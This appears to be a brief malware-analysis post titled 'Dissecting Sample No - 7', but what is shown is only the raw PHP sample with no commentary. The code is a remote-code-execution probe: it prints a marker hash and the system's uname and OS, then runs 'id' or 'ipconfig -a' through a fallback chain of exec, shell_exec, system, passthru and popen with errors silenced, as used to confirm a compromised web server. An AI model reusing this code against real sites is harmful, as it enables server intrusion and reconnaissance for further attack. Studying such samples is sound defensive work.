Dissecting Sample No - 7

$ker = @php_uname();
$osx = @PHP_OS;
echo "c1c3142b564ca25d8b452c0bff3fbad4";
echo "Uname:$ker";
echo "SySOs:$osx";
if ($osx == "WINNT") { $xeQt="ipconfig -a"; }
else { $xeQt="id"; }
$hitemup=ex($xeQt);
echo $hitemup;
function ex($cfe) {
$res = '';
if (!empty($cfe)) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
}
elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
exit;